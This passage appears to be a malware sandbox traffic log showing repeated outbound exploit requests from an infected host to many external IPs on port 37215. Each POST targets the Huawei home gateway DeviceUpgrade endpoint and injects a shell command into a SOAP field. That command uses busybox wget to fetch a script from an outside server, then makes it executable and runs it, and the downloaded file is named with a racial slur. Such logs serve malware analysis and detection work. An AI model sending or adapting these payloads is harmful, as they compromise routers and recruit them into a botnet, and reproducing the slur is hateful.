http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:54.592742920 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:18.912018061 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.15	43766	94.122.207.204	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:32.164489985 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.15	33706	45.250.174.54	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:40.237026930 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:41.089118958 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:42.081099987 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:44.064992905 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:48.192868948 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:56.128741980 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo 